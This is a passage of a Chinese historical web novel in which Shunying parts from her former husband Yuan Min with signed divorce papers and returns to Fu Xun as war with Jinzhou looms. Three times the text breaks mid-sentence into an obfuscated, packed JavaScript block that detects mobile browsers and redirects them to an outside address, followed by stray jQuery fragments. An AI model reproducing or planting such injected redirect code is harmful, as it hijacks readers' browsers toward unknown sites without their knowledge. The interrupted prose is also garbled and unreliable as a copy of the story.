“反抗总比从未反抗过好,再难的事,也总要有人去做”,舜英笑盈盈凝视桑珠了一瞬,揶揄似的叹息,“同样姓冯的一大家子,怎么偏偏生出你和阿彬这样的人?” 桑珠一头雾水打量了自己一遍:“我怎么了?” “没什么,我说你人美心善。”舜英淡淡笑着,扬扬手往山外走去。 桑珠愣了半晌,见她越走越远,急出一头热汗:“你怎么都这样倔?说了别去非要去!你都不想当王后了,干嘛非去送死?” “喂!你站住!” “你再不站住,我就不帮你那件事了。” 无论她说什么,舜英头也没回,依然不紧不慢顺着山路往外走,桑珠无计可施,突然心念一动,追了两步大喊:“其实他早就想起你了,比你那封和离书送到的时间还早!” 舜英的脚步一滞,难以置信地回过头。 桑珠有些懊恼跺跺脚:“去年上元节,我去西陵城给叶儿买东西,看到有人在卖泥塑大阿福,就给叶儿买了一对,回来刚好赶上他清醒,一言不发就给叶儿抢走了。他那时候右手才刚刚能动,手不稳、险些把娃娃摔碎。” 舜英越走越快,桑珠追得上气不接下气,一把扯住她衣袖拖住她:“后来,他时不时叫几个名字,有你、还有‘承祎’……不然我那会儿怎会那样防着你。” 舜英陡然站住,转过头问桑珠:“这些梨树也是你帮他种的?” 桑珠点头:“是啊,他刚来这儿的时候,说梨花很好看……害得我白高兴一场。后来又想要海棠树,可附近只找到一棵海棠苗,周围只能全部种梨树。” 舜英神色肃穆陷入深思,唇角慢慢浮起嘲讽的笑。 桑珠见她表情松动,笑着在她眼前挥挥手:“他最先想起的人是你,是不是很感动?要不然你别跟他和离了,免得他天天不开心。我看你人也挺不错,应该不像他们说的、不准他纳妾……” “他是不是有病?”舜英脸色一沉,齿缝里狠狠蹦出这几个字。桑珠呆住,还没缓过来,舜英又看向她、满脸恨铁不成钢,“你喜欢谁不好,喜欢这种有病的?” 舜英和桑珠并肩走在梨林小径上,她一边环顾四周硕果累累的梨树,一边听桑珠娓娓道来。 “说来奇怪,他除了你和那三个孩子,别的都想不起来,尤其是姑母……其实我跟他提起你的时候,他总是头疼得厉害,但是偏偏最先想起的是你。至今一年多了,也只想起你和三个孩子。” 舜英慢慢停住脚步,饶有兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882260|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致地问:“你跟他说过我什么坏话?” “不是坏话!他很奇怪,清醒的时候盯着那对大阿福发呆,有时又自言自语说你背弃了他”,桑珠神色悻悻,俏脸露出些微尴尬,“我原本随他瞎说,后来看你那么仗义地帮他,实在听不下去,就去外面书铺买了本《英烈本纪》给他看,替你说了几句好话……咱们草原儿女恩怨分明!” “反正我也没乱讲,你帮他夺位是真的,当王后的时候辅佐他也很尽心,去替他报仇还险些送命也是真的”,桑珠觑着她逐渐变淡的笑容,声音越来越低,“可他头疼得更厉害……尤其是我提到姑母,他就疼得快晕厥,有次晕过去之前,他还喊了句很奇怪的话。” 舜英愕然:“什么?” 桑珠幽幽叹了口气:“什么‘果然如此,覆水难收’,没头没尾的八个字。但我记得很清楚,因为他那次晕倒前吐了一口血,晕倒之后、眼角还流下两行泪。” “其实他想起你之后,对其他人和事也慢慢想起来了。可自从那次晕倒,他除了你和三个孩子,什么都记不起来,一提到外边局势和其他人,他就头疼得晕厥、严重还会再吐血。” 舜英一怔,低下头垂眸沉思,神情像是愤怒,又像是嘲讽或苦涩:“真可笑,始作俑者,他什么都知道。可惜,我早过了快意恩仇的时候。” 她看着桑珠:“你既对我那么感兴趣,就该知道我是个犟种,现在我要去看你表哥,你拦也没用。” . 梨林深处的房屋有些眼熟,圆木为梁柱,黄泥夯实成墙,屋顶盖着青灰色的瓦,搭成八间简陋朴素的农舍,正是灵昌平原常见的式样,柴扉前种着一丛翠竹。 舜英看了片刻,明白过来它眼熟在何处——房屋构造、院落摆设以及柴扉外这丛翠竹,与嘉州三江村何老太家的房子一模一样。唯一不同的是,堂屋前廊檐下种着一棵海棠树。 梨树、海棠、乡野旧屋,这里的时光是停滞的,房屋主人固执地将所有旧物封存在此,好像这样就能将时间永永远远封存在十三年前。 褚舜英还只是阿七的十三年前。 隔着竹篱笆捆扎的围墙,舜英一眼就瞧见背对柴扉坐在院中的男子。一身布衣干净而清爽,再无那几年的阴沉凌厉,像一株挺拔的雪松、沐浴在清淡温润的阳光下。 叶儿不知从哪里弄来一堆洁白的沙子,在他面前的大石头上堆屋子,他很有耐心地帮叶儿扶着木板。一旁侍立着两名男子,身量高大体格健壮,一看便知是久居军中的兵士。 桑珠向她解释:“当年冯栩攻破神武关,我们四个人南下逃难时,半路跟上来一百亲兵一路护送我们,只活下来这两位大哥。也多亏有他们修屋搭院子干重活,否则就凭咱们四个老残妇孺,压根没法在这深山老林住下来。” 舜英默默注视片刻,轻声问:“他恢复得怎样?能动吗?” 她一开口,背对她的男子手一抖,簌簌滑落一堆沙子,他却没有回头。 叶儿一见舜英,就笑嘻嘻跑过来要打招呼,桑珠对他使了个眼色,叶儿十分乖觉地拿起旁边的九连环,跑过她们身边、一溜烟跑进了梨林。 两名兵士也看见了她,膝盖一弯就要下拜,舜英抬手示意他们免礼,又朝他们挥了挥手。他们会意、迅速走进里屋关上了门。 桑珠说:“老先生蛊术又精进了,他的毒已拔除近八成。你采的琳琅果也很好,他的腿正开始长新肉,但是腿伤太重、五脏六腑也还脆弱,要恢复如初至少得三四年……别担心,你这次新采的那些绰绰有余。” “那就好”,舜英笑了笑,深吸一口气,对着院中的背影缓缓朗声道,“陛下逃避前尘往事,人各有志、我本不该强求。然事态紧急,我已别无选择,只能病急乱投医。” 175. 人生若只如初见 元旻背对着她们,手臂微微发颤,好几次扭了扭脖子,却最终没有回头。 舜英极有耐心地等待半晌,确定他不会转头,才徐徐开口:“冯太后与昇阳冯氏党同伐异、窃权乱政,我可能等不到帮承祎夺回权力的那天。但也无伤大雅,我已竭尽所能替他安排助力,大翊历朝历代、哪位国君不是这样过来的?” 她唇角笑意渐冷,声音高了几度:“但是,她想舍弃姜夫人和承赟,舍弃三郡两州抵御异族的忠烈将士!” 元旻身躯猛然一僵。 桑珠往前跑了两步、下意识要去扶他,脚步却陡然一顿,又回到舜英身边,轻声试探:“褚姐姐,他想不起来,每次一提到这些就会头疼,要不你别去跟冯栩打仗了,过段时间再来说?” 舜英拍了几下桑珠的肩膀以示抚慰,说话却没有停,只是语气柔和许多:“陛下,我们从小一起长大,我看着你夙兴夜寐、听学辩经监国,一边咽着父王的严苛和猜忌,一边担心自己不成器、护不了母后。你从小连喘气都不敢太大声。” “好不容易坐稳王位,国家内忧外患,身边人各怀心思……偌大担子压在你肩膀上。你活得有多不自在、多累多苦多孤单,我比谁都清楚。我若是你,也不愿意再想起那些事。” “可我没有时间了,只能现在就说给你听……你且先听着,往后记起来再慢慢考虑。” 元旻挺得笔直的脊背止不住晃动,攥住扶住座椅把手、手背青筋暴凸。 桑珠忙跑进去扶着他,轻柔地替他顺气,等他平静了些,又跑进屋子抬出一张小桌,铺陈纸笔认真地说:“褚姐姐,你说慢点我记下来,免得过几年他又忘了。” “几句话能说清的事,不必记”,舜英噎住了,哭笑不得瞄了桑珠一眼,深呼吸几次才继续说下去,“陛下,我找到武老六了,他在怀阳城下很高兴地跟我说你还活着,有你在就还有希望。” 桑珠尴尬地摸了摸鼻子,进屋倒了一杯温水给他,他慢慢喝着,却仍静静坐着没有回头。 他一向如此,不愿接受的事就充耳不闻。 舜英弯起唇角,声音温和却字字铿锵:“大翊是你元氏宗族的大翊,还望陛下痊愈之后,怜悯三郡两州将士的拳拳之心,想想大翊的未来。” 顿了顿,她笑意更盛:“届时若……也请陛下看在我当年龙川湖挡刀,大庆门救驾,武原城、柘枝城和殒星崖复仇,以及这些琳琅果的份上,放过褚氏一族。虽然,他们早已被当作棋子、磋磨多年。” 桑珠先似懂非懂听着,听到最后跑到元旻面前,有些着急地催促:“这么多功劳,提的要求一点也不过分,表哥答应她啊。” 元旻轻声跟桑珠说了什么,桑珠深深看了他一眼、又瞄了瞄舜英,拂袖走进里屋。 他终于转头,露出一丝哀凉笑意:“阿英,我等你好几年,你就只想对我说这些?” 舜英目光扫过郁郁葱葱的梨树林、扫过那座眼熟的的房子、扫过院里的海棠花,停在他手边那对大阿福上。 注视了许久,她唇角笑意散去,眼神悲哀而恻隐,轻轻地缓慢开口。 “上个月我去了三江村,何大爷大娘已经过世,那座房子全塌了,咱们出钱为他们打的那两口棺材没用上,因为他们死于战乱——翊国与荣国的战争。” 元旻身体猛地前倾、呕出一口鲜血。 舜英往前走了两步,想要像以前那样扶起他,却只停在院门口、抬了抬手就轻轻放下。 “我本可以是辅政公主、是将军,堂堂正正保家卫国建功立业,与你成就一段君臣佳话……”她抬眸瞥向中天,太阳亮得刺眼,刺得眼睛有点痛,“世人说,不生而养、百世难还,可家慈为国捐躯,我也为你元氏诞育二子一女,更险些被去母留子……” 她深吸一口气,决然道:“褚王后早已战死武原城,我不欠你什么,失而复得这条命也不属于你。但是,我希望你能尽早回去,整肃朝堂、继续支持三郡二州,不要辜负武煊这几年受的折磨……我相信你能做到,也只有你赢面最大。” 元旻唇角笑意越发凄凉:“二十四年,我们最后只剩下这些?” 静静看着他独坐院中孤伶伶的身影,她声音忽然柔和。 “四殿下,已经过去很多年了,你为何非要强求我留在十三年前,永远都不成长?” “就算你把漫山遍野都种上梨花和海棠,时间也不可能倒流,我们早就回不去了。” 她淡淡苦笑着,转身走上梨林小径,抬头的刹那,眼角流下两滴温热。 . 梨林小径很快走到尽头,身后遥遥传来呼喊:“等一下——”她脚底蓦然一顿,却没有回头。 桑珠气喘吁吁跑来:“褚姐姐等一下,表哥有东西要给你。” 舜英见她两手空空,意识到什么,唇角微微上扬、走到路旁倚着一棵梨树静静等待。 果然,等了约莫半个时辰,林中走出两名兵士,看见舜英先是习惯性要稽首,跪到一半硬生生顿住,端端正正躬身长揖:“卑职遵陛下之命,给褚娘子送信。” 一名兵士双手呈上五封信函,其中两封是她亲手写的放夫书,她抽出信函里一模一样的两份文书展开,空白处的“褚舜英”旁边,熟悉的字体中规中矩签着“元旻”,墨迹初干。 另三封信函的封面正中,均用端肃小楷写着“元旻谨立放妻书”,舜英将三封正式的和离书抽出来,一张一张摊开在石头上,从另一名兵士手中接过笔,蘸了墨汁签下自己名字。晾干墨痕后,将其中一封信函还给兵士。 “我们二人要寸步不离守着陛下,为了保密、早已发誓不出这片梨林,劳烦褚娘子将给宗正寺的那两份捎出去。” 舜英含笑道:“我与他在官面上已是死人,写这个无非是为过自己这关。” 二人点点头,又期冀地盯着她:“方才听褚娘子说找到了武小将军,他还好吗?” “现在很好,在北疆战场上威风得很,至于以后……”她深吸了一口气,重新绽出微笑,“无论以后如何,我将披甲上阵,再度与他们并肩作战。” 两位兵士沉默了一瞬,齐齐单膝下跪,抱拳高呼:“山高路遥,褚将军一路保重,早日凯旋!” 舜英抱拳回礼,转身将信函收进马背上的包袱里。 忽然觉得后背一暖,竟是桑珠从身后抱住了她:“我现在有点喜欢你,可别真死了。” “你这小丫头,到底喜欢哪个?”舜英抱臂揶揄,促狭地挑了挑眉,“我记得你当年也才十三岁,那么大点懂什么?怎么非闹着要嫁给你表哥,到底喜欢他什么?” “我那时候还不懂什么是嫁人,父汗和姑母问我想不想嫁给表哥”,桑珠眼里出现神往,眉眼弯了弯,“他刚登基那年,姑母接我到昇阳住了一个月,我在演武场看见表哥练剑,比父汗还威风凌厉,比大宛最强的巴图鲁还英武潇洒,又长得那么好看……我突然懂了中原人说的气宇轩昂。” “姑母跟我说,那就是表哥,问我想不想当他的阏氏……我从没见过那么好的男子,比父汗还好,当然是愿意的。” 她忽然脸红了,撅撅嘴长叹一声:“可现在我也不知道,就是突然觉得表哥没那么好了。” “如果只是威风英武……他一直都这样,比你看到的还英武,你不会失望”,舜英松了口气,眉眼带笑,转头看向梨林深处,“他只是不太懂什么是爱,也不知道怎么去爱别人。” 她顿了顿,笑容淡下去:“因为他成长于算计利用,那种不掺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890933|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂质的纯粹情感,他小时候从未得到过。” . 梨树簇拥的院落里,元旻伸出手,一遍又一遍轻轻摩挲着白麻纸下方,空白处用隽秀的簪花体写着“褚舜英”三个字。他静静看了许久,将那封自己亲手写下的放妻书叠好,封入信函。 石头上并肩站立着两只大阿福,圆圆胖胖的一男一女,男孩神态端肃、女孩眉眼带笑。站得挨挨挤挤、亲亲热热,穿过十三年时光,静静与他对视。 十三年前,她最爱他的那几年。 等闲变却故人心,却道故人心易变。 石头上还堆着叶儿堆房屋用的白色沙粒,他抓了一把握在手心,沙子顺指缝往下流泄出细细一线。他手指用力、越攥越紧,沙子越流越快,腾起薄薄的烟尘,最终流空。 他伸出手去,轻轻抚摸着眉眼带笑的泥塑女娃娃,像是十三年前在三江村,第一次抚摸她柔软的青丝。拿起娃娃捧在掌心,一遍又一遍仔细端详。 一颗颗泪珠滴落,溅到大阿福弯弯的眉眼上,泥娃娃仍毫无知觉地笑着。 “你不是她”,他低声喃喃,抚过泥娃娃带笑的眉眼,擦掉溅上去的泪水,“她早就不是你了。” 手一松,泥娃娃从手心滑落,磕在坚硬的石头边缘,碎成千片万片,碎掉的娃娃仍然眉眼带笑,没心没肺没痛觉。 “其实,你一直都不是她。” 他在淡漠的阳光下摊开双手,怔怔注视着掌心。 什么都没有。 . 九月初八夜,苻洵坐在威远将军府前堂,薛怀嘉、高轩、南宫羽为首的武将济济一堂,热火朝天议论着北宛的动向。 北宛大大小小攻伐数次,偶尔会兵源不济、却从未有过明显的粮草短缺,这早在前年就引起了苻沣和元承赟的怀疑,两方斥候营出动多次,却未探知其余粮草来源。 直到今年开春,司徒空将湛卢、纯钧两小队借调给承赟,飞廉与白袍卫联合行动。两队暗探跟踪了足足半年,终于探知一队骁骑翻越北宛极东的无名雪山、皑皑冻土,抵达了一片无垠沃野。 一眼望不到边的平原沃野,土地黝黑、肥力是燕洺平原的数倍。虽无滬南那般温润气候,却仍有数条大河交错纵横,且此地光照充足,粮食产量接近滬南。 那一片早已垦好的粮仓,四面高山环围、与世隔绝,路边散居的房屋风格既不像中原任何一个国家、也不像北宛。可能是当地土生土长的不知名种族,被北宛并无意发现,为自己招来灭族之灾。 隐蝠卫和白袍卫能发现此地,还是因为那无名雪山已被砍伐出一条道路,勉强可通马匹和辎车。 若说苻洵是无师自通的将帅之才,冯栩则是触类旁通的枭雄之才,他不仅极快跟苻洵学会了征战,更擅长从厚厚的史书里学习借鉴。此举,便是借鉴荣襄王凿开戎陵山脉西段,修八百里平虞道,占据灵昌平原。 “还有个事”,郎琊忽然开口,“西羌有个稍大的国家叫曲勒,前两年对周围部落征战频繁。上个月我们在柘枝城偶然发现了西羌使臣,不知是否跟曲勒有关。” 苻洵咬牙切齿冷笑:“好一个北宛狼主!” 他忽然身子一颤,舒展眉眼对座下武将说:“既有西羌势力搅和进来,形势又复杂了些。将军府客房很多,诸位不若先回房歇息,明早再议。” 看着小厮仆妇接引众人散去,苻洵长舒一口气,唇角不自觉上扬,脚步轻快地穿过重重院门,走向第三进院落。 北卢郡天寒,梅花树早已落尽叶子,光秃秃的枝条凸起个个小花苞。 舜英坐在树下,面前摆着两只剔透无瑕的琉璃盏。苻洵走到院门口时,她正打开一坛西羌进贡的葡萄酒,好整以暇将那澄澈的深红瑰紫倒入酒盏。 176. 莫忘欢乐时 舜英只随意套了一件单薄外袍、松松垮垮的,周身散发着潮润热气和皂角淡香,两颊皮肤透出红晕,黑绸一样的湿发披在脑后,显然是刚刚沐浴过。 苻洵回屋取了件大氅给她裹上:“这么冷的天,也不知道进屋里等。” “刚把脸洗干净,脸皮又疼又绷,屋子里熏得难受”,她端起一盏酒递给苻洵,意味深长认真地说,“阿洵,我这次出门了结掉一桩大心事,咱们喝了这杯酒再进去。” 苻洵不解其意,却还是笑了,端起酒盏一饮而尽。 舜英每次出门都要改装易容,回来之后再用药水一点点洗掉,他们回到卧房时,刺鼻的药水味还未散尽。 苻洵示意她坐到窗前去,从妆台拿起面脂盒、挑出一些正要替她搽,仔细端详片刻她泛红的脸,摇摇头,返身拿来另一个盒子,打开是浅白细腻的粉,散发着淡淡梅香。 “这是白梅硝,以往我见你用药水洗易容妆,洗了之后脸总要泛红好几天,有时还起疹子……顺手让颜先生帮了个忙。” 她闭上眼睛,感受着冰凉凉的硝粉抹在痒处,十分舒爽惬意。苻洵笑了笑,又用指尖挑了些面脂、轻轻抹上她没有泛红的皮肤,再慢慢揉开揉化。 潮湿温热的气息一点点靠近,带着甘甜木香,她脸颊腾地烧起来,睁眼躲开他凑近的脸,笑盈盈嗔怪:“去你的。” 苻洵佯作懊恼:“姐姐好狠的心,新婚燕尔始乱终弃……一走就是两个月。” 忽然抬眸看向大开的房门,恍然大悟一拍额头:“是我思虑不周,姐姐且稍等。” 他起身关上房门和窗户,抱起她放到床上,解开裹住她的大氅,眼波流转、笑容可掬盯着她,手指从脚踝慢慢滑上去,撩开裙子下摆…… 舜英身子晃了晃,手脚有些发软,收了笑容咽下一口唾沫、结结巴巴颤声道:“刚回来就……就这么直接……” “我本就不是什么正人君子,姐姐又不是没领教过”,苻洵笑盈盈地说着,动作未停,褪去所有遮挡后垂下眼眸,“别动,让我看看。” 舜英紧张地往后缩:“看……看什么?” 苻洵不紧不慢拉下她亵裤,她倚靠着床柱、闭目不敢看他。却感觉腿上力量一松,讶异睁眼,只见他好整以暇转身,从床头的抽屉拿出一盒药膏,揭开盖子…… “自然是——看看你骑马把腿磨成什么样了”,他似笑非笑注视着她,眸中暧昧之色更重,压低声音问,“姐姐以为是什么?” 舜英松了口气,莫名有些失望,对上他的目光霎时反应过来,恼羞成怒、声音陡然高了几度:“我怎么知道?” 苻洵噗呲笑出声来,笑得两肩轻轻颤抖,觑见她脸越来越红、红得像要滴血,才收了笑意,正色道:“原计划两个月的行程,一个半月就回来了,这一趟着实累坏你了。” “还好,有几件事比想象中顺利”,舜英用指尖挑起药膏,正要抹到腿上,忽然瞥见他正专注地盯着自己一举一动,瞬间又羞又恼,“转过去,不许看!” 苻洵闲闲地背过身,摇了摇头:“啧,好狠的心,这会儿看都不让看,谁能想到新婚之夜还……” “不许说了!”舜英的脸腾腾烧起来,气急败坏推了他一下,垂眸轻声道,“还不是怕你过生辰孤零零的,结果回来一看,嚯,好热闹一屋子人。早知如此,我就一路慢慢遛、遛到过年才回来。” 苻洵收了调笑,静静等她搽完药膏,接过伤药放回抽屉。又叫了热水进来,安静地注视她洗完手,递过去一方洁净的丝帕,脸上挂着笑、眼眶有些热,低声说:“一个生辰而已,姐姐以后不要这样累着自己。” “还不是怕……怕你等得着急”,舜英深呼吸稳住心绪,混不吝地一仰头:“回来得太急没准备礼物,要礼物没有,要命有一条。” “这可是姐姐说的”,苻洵眉开眼笑,一手揽住她、一手轻轻在她下颌摩挲,“阿洵不要别的礼物,就要姐姐。” “你这破嘴!”舜英咬牙切齿推了他两下,岂料赶路已耗尽气力,实在推不动他那铁铸似的胳膊,于是悻悻地抓住他手腕使劲咬了一口,满意地瞄了一眼深深齿痕,顺势在他怀里躺倒。 苻洵轻轻将她衣袖推上去,若有所思注视着她手腕上平行交叠的割伤,摩挲着结好的痂,长长叹了口气:“好容易养得气血好些,这一放、不知道又要花多久养回来。” “那你以后可要每天费心思,给我弄好吃的。” 苻洵精神一振:“每天?” 舜英含笑点头:“每天。” 顿了顿又揶揄:“从今往后,若无什么意外大事,我就留在北疆与你共御狼骑,用你们荣国的话说,叫什么夫唱妇随……” 她离开阊江时,出入宜邑的身份核查已严格许多,长流川也增加了不少巡逻船,两国局势已然开始紧张,也许会随着时间增长愈加紧张。 即便擅长变妆易容如她,也再难像以往那样不着痕迹地出入两国。 “是男主外女主内”,苻洵也平躺下来,伸臂箍住她,亲昵地蹭了蹭脸颊,“上战场拼杀这种大事阿洵说了算,在将军府发号施令的小事姐姐说了算。” 舜英问:“湛卢和纯钧那两队人怎么样,探出什么没有?” 苻洵眼睛发亮,一股糖似的扭着她:“十分中用,晚上正跟他们聊这事……不如姐姐把他们长期借给靖安王?” 舜英噗呲一声笑了:“借,夫唱妇随。” 事实上,她离开西陵后先去过九霄山营地。湛卢和纯钧已经回营,正跟谢恬和司徒空请示,想要长留北翊、与抵御异族的将士并肩作战,听他们这般说,苏铁和龙牙也跃跃欲试。 正好,冯太后与隐蝠卫许多人接触过,熟面孔易引起怀疑、将来不太好施展,谢恬提议趁机将飞廉换一批新面孔。 于是共同商定,由司徒空出面,用湛卢、纯钧、苏铁、龙牙四队共一百熟手暗探,从北翊换回斥候、武卒、骑兵、弓箭手共五百人,新组建的飞廉七星各部满员。 这是她唯一能为承祎做的事。 后来,她去了阊江桐花别苑,将放妻书与放夫书各取一份留给元璟,又把元旻的近况向他详细陈述一遍,最后将飞廉的联络信物托付给他。 “师父,我与阿洵正式拜堂成婚了。” 元璟并不意外,慢慢抿着青梅酒,神色淡然:“知道了。” 她又说:“我会与他一起长驻威远将军府,只管西羌和北宛,永世不与翊国为敌。” “我猜到你们会如此”,元璟很平静地点了点头,“粮草的事,我会找云飞燕他们继续想办法。” “冯太后眼下风头正盛,莫要太勉强”,舜英笑了笑,“熬过这几年,熬到永平王复原或是承祎亲政,一切都会好起来的。” “可是你们……”元璟猛然抬头,双眸泪光闪烁,“阿英,生死面前什么都是小事,多想想我这个孤老头子。” “师父风华正茂,哪里老了?”舜英舒展眉眼,笑意更盛,“阿洵说,哪天实在熬不下去,就由我带他来滬南蹭软饭。” 元璟松了口气,欣慰地笑了:“好,尽管来,我这宅子大得很,正缺点热闹气,好酒好饭管够……” 舜英想着那天元璟那个含泪的笑,心情有些沉重,默念着“对不起”,看向近在咫尺的苻洵:“阿洵,阿旭和阐儿最近在宫里怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900255|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样?” “我走之前去清泉宫看过他们,别提有多惬意,吃了睡睡了吃,每天还有伴陪着说话、一点都不闷,都长了几斤肉”,苻洵苦着脸叹了口气,桃花眼飘飘渺渺转向她,似醉非醉,“一个多月没见姐姐,一回来就只关怀别人,阿洵可是要醋的。” 舜英轻轻拍了他一巴掌,被那目光看得心旌一阵阵荡漾,似笑非笑睨着他,唇角勾起、眼波流转,压低声音说:“跟俩孩子吃什么飞醋?” “要想明天再想,你这会儿想谁我都吃醋”,他不安分的手慢慢在磨伤处滑动,“腿不疼了?” 她摇头轻笑,没有说话,只静静注视着面前的人。 苻洵促狭的笑容淡去,侧过脸轻轻咬住她耳垂,微微刺痛带着痒,潮润温热的呼吸喷在耳后,撩拨得她心都酥了、身子也酥了,只听他哑声耳语:“姐姐既招惹了我,可要好好疼我……” 他起身放下罗帐,展开锦被将二人罩住,一边纠缠一边低声轻喘:“你这几天跑得累,往后几天就别想下床了,好好躺着歇息吧。” . 建宁十三年十分不太平,荣国继后元晴薨逝,廷尉府在南翊进献的贺礼中查出慢性毒药。随即,建宁王扣押了前来吊唁的平南侯,向阊江发国书请求冯太后严查此事。 两国廷尉府抽丝剥茧、联手查了两个多月,终于寻到些许蛛丝马迹,所有零碎证据都指向鸿胪寺典客令崔少昕。 崔少昕,镇南崔氏旁系子弟,也是为数不多的走恩科路子、一步一个脚印做到中枢的文官。 相关涉案人等被押解到阜门峡一艘楼船上,金州七十二道酷刑一一用遍,审出个意料之外、情理之中的动机:建宁九年六月玉照关大败,原金州军被屠戮殆尽,其中就有崔少昕的父兄叔伯。 而元晴身为翊国大长公主,却与敌国君主琴瑟和鸣,甚至在玉照关之战后,随敌国君主亲自赶往前线犒赏戎陵大营。 “堂堂一国公主,锦衣玉食、受万民供奉,兵败之后不守节殉国,贪恋富贵委身敌国君主,为其生儿育女、助纣为虐,其罪大恶极罄竹难书,死有余辜。” 面对两国廷尉府和鸿胪寺组成的审讯团,崔少昕昂然不惧、铿锵怒叱之后,长笑三声咬舌自尽。 这段供词被原原本本记录下来,在两国朝堂引起巨大反响。 荣国这边主要有二。 其一,因崔少昕的暗杀和怒叱,萦绕在苻稷身上的血脉之争烟消云散,同年九月初,苻沣下旨废除苻阙太子之位,改立嫡子苻稷为储。 其二,苻沣以“失察”之罪继续扣押平南侯,并向阊江发去国书,要求将崔少昕及其余涉案人等押送奉宁处置。毫无意外地,冯太后拒绝了。 苻沣冷静下来后,退让一步,要求冯太后按律处置涉案人等,并邀请荣国使团前去观礼。冯太后又拒绝了,以苻沣将元晴葬于辰陵为由,声明元晴并未入苻氏陵园供奉,视为已与苻氏王族脱离关系,投毒暗杀刑案应为翊国内政,不劳邻邦费心。 随即,冯太后的作为更令人瞠目结舌:涉案人等谋弑王族子弟,按律当夷三族,因元氏宗族耆老联名上书,其族人免罪。后来,她更是以褒扬忠勇爱国为由,将涉案人等尽数厚葬,并亲为崔少昕书写碑文,将其事迹编入《英烈本纪》。 就好像被刺杀的,真的只是敌国王后,而非与她血脉相连、为她争取五年多喘息之机的亲生女儿。 “遣妾一身安社稷,不知何处用将军?” 大朝会上,苻沣当场失态怒喝,将国书撕成千万碎片、投掷到南翊使者脸上。次日,太尉苻洹前往英平郡点将,戎陵大营、摩云大营整装待发,十万大军分两路涌向金州。 177. 新欢 “怎么会有人心肠那么硬?利用完就扔,亲女儿啊”,郎琊长叹一声,摇头唏嘘,“真是为咱们王后不值,到头来真正在意她死活的,竟只有陛下一人。” “她也在意”,苻洵站在书房透过花窗,瞥向坐在暖阁中计算粮草的舜英,“我守灵回来那天,她瘦得脸都凹陷了,眼睛通红通红的,全是血丝。” 郎琊眉间郁色更重,干笑两声:“怪不得夫人怎么都不回阊江……这也勉强算好事。” “算什么好事,她现在虽天天在我身边,我倒希望她还有别处可去”,苻洵笑容苦涩,“哥哥打哪儿不好,偏偏去打金州,金州军除了最尖尖上的姓崔,六成将领都姓褚,我都不知道怎么跟她说……” 一直抱臂站在旁边的秦川嘟囔说:“眼下也就金州最方便打,其它不是太远就是隔江。” 郎琊压低声音:“冯太后想除掉褚氏估计不是一两天,又不能不顾忌幼主感受。听咱们探子说,幼主一力主张先跟咱们合作、完全驱逐北宛再说别的,为这事还和冯太后当庭起过争执,整个阊江都传遍了。” “幼主为政思路沿袭庄王,又一向与大殿下家亲厚,有此反应才是人之常情”,苻洵满脸糟心连连叹息,“如果褚氏在金州之战中出个岔子,幼主跟咱们就此结下死仇,指不定热血上头就认了冯太后的方略。” “就算对北翊的分歧仍在,失了长济渠的水路,北翊照样缺少支持,还怪不到冯太后头上。果真好计谋。” 秦川插嘴:“这褚氏也太倒霉了,永平一朝被架在火堆上,延光一朝被摆在刀尖上。” “后族、外戚,什么时候都在风口浪尖,真是棘手”,郎琊也连连叹息,“就连太尉大人也一直劝,可陛下怒火上头哪顾得上这么多。” “没那本事摁住别的家族,偏要把人往风口浪尖上放,平白无故给人招灾,真是有脸”,苻洵忽然冷声轻嗤,眼里尽是厌憎和愠怒,“真不知他是太看得起自己,还是太看不起自己。” 秦川和郎琊齐齐一惊转向他,却见他若无其事满脸笑意,仿佛刚才什么都没说。 屋里静了许久,苻洵才缓缓沉吟说:“照我说,冯太后眼下是对崔氏不错,可冯氏跟崔氏多年宿仇,冯太后的厉害、恐怕崔氏比咱们更清楚……” 郎琊会意:“崔氏在南翊待着也没意思,迟早被清算。” 苻洵已经坐到书桌前,拿起镇纸压平白麻纸:“我马上给陛下和洹哥写信。” 秦川赶紧跑出去接清水,替他研着磨,眼睛却瞄向暖阁,压低声音问:“主子,夫人那边怎么办?” 苻洵动作停住,唇角慢慢弯起笑意,上下反复打量着秦川:“你说呢?” . 威远将军府的红梅开了,已是冰封雪飘冬月初。 一大队骑兵自西浩浩荡荡而来,步履轻捷、踩过厚厚积雪,几行凌乱的马蹄印迅速被落下的飞雪盖上。他们全副铁甲,兜鏖顶端的红缨迎风飘拂,是这银装素裹的洁白世界唯一亮色。 大队骑兵行至岔路,分成一大一小两路,高轩对苻洵躬了躬身、抱拳一礼:“侯爷,属下先行告退。” 苻洵笑着点头:“远征一趟,辛苦兄弟们了,陛下的赏赐已送到营中,今晚所有人酒肉管够。” 